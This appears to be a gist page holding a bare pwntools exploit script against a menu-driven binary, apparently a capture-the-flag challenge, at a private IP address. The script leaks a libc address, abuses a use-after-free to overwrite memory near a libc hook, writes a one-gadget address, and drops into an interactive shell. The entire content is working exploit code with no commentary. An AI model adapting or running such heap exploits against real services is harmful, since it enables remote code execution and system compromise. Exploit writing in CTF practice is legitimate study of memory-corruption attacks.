Created
November 20, 2017 03:09
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kikikiki
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from pwn import * | |
#s = remote('192.168.0.12',1234) | |
s =remote('10.10.134.127', 30004) | |
def add(name): | |
s.recvuntil('>>>') | |
s.sendline('1') | |
s.recvuntil('name') | |
s.send(name) | |
def select(index): | |
s.recvuntil('>>>') | |
s.sendline('2') | |
s.recvuntil('>>>') | |
s.sendline(str(index)) | |
def delete(): | |
s.recvuntil('>>>') | |
s.sendline('3') | |
s.recvuntil('action') | |
s.sendline('-1') | |
def show(): | |
s.recvuntil('>>>') | |
s.sendline('3') | |
def add_unit(name): | |
s.recvuntil('>>>') | |
s.sendline('1') | |
s.recvuntil('name') | |
s.send(name) | |
def uaf(): | |
s.recvuntil('>>>') | |
s.sendline('3') | |
s.recvuntil('action :') | |
s.sendline('21') | |
s.recvuntil('action :') | |
s.sendline('1') | |
s.recvuntil('action :') | |
s.sendline('1') | |
s.recvuntil('action :') | |
s.sendline('1') | |
# s.recvuntil('action :') | |
# s.sendline('0') | |
def out(): | |
s.recvuntil('>>>') | |
s.sendline('5') | |
def delete_unit(index): | |
s.recvuntil('>>>') | |
s.sendline('2') | |
s.recvuntil('>>>') | |
s.sendline(str(index)) | |
def poison_null(dat): | |
s.recvuntil('>>>') | |
s.sendline('3') | |
s.recvuntil('action :') | |
s.sendline('21') | |
s.recvuntil('action :') | |
s.sendline('0') | |
s.recvuntil('hero!') | |
s.send(dat) | |
raw_input() | |
s.recvuntil('>>>') | |
s.send("AAAA") | |
# show me the money | |
s.recvuntil('>>>') | |
s.sendline('4444') | |
s.recvuntil('>>>') | |
s.sendline('show me the money!') | |
add("AAAA") | |
add("AAAA") | |
select(0) | |
delete() | |
add('A') | |
show() | |
libc = u64(s.recvuntil('[ 1]')[-7-6:-7]+'\x00\x00') - 0x3c4b41 | |
log.info("LIBC : 0x%x"%libc) | |
select(0) | |
add_unit('ABCD') | |
add_unit('ABCD') | |
add_unit('ABCD') | |
out() | |
raw_input() | |
add('BBBB') | |
select(0) | |
uaf() | |
out() | |
select(2) | |
delete() | |
add('BBBB') | |
select(0) | |
s.recvuntil('>>>') | |
s.sendline('3') | |
s.recvuntil('action :') | |
s.sendline('21') | |
s.recvuntil('action :') | |
s.sendline('16') | |
s.recvuntil('hero') | |
s.sendline('A'*0x10) | |
s.recvuntil('action :') | |
s.sendline('16') | |
s.recvuntil('hero') | |
s.sendline('A'*0x10) | |
s.recvuntil('action :') | |
s.sendline('16') | |
s.recvuntil('hero') | |
s.send("A"*0x10+p64(libc+0x3c67a8-0x50)) | |
out() | |
select(2) | |
s.recvuntil('>>>') | |
s.sendline('3') | |
s.recvuntil('action :') | |
s.sendline('21') | |
s.recvuntil('action :') | |
s.sendline('16') | |
s.recvuntil('hero') | |
s.send(p64(libc+0x4526a)) | |
s.interactive() |
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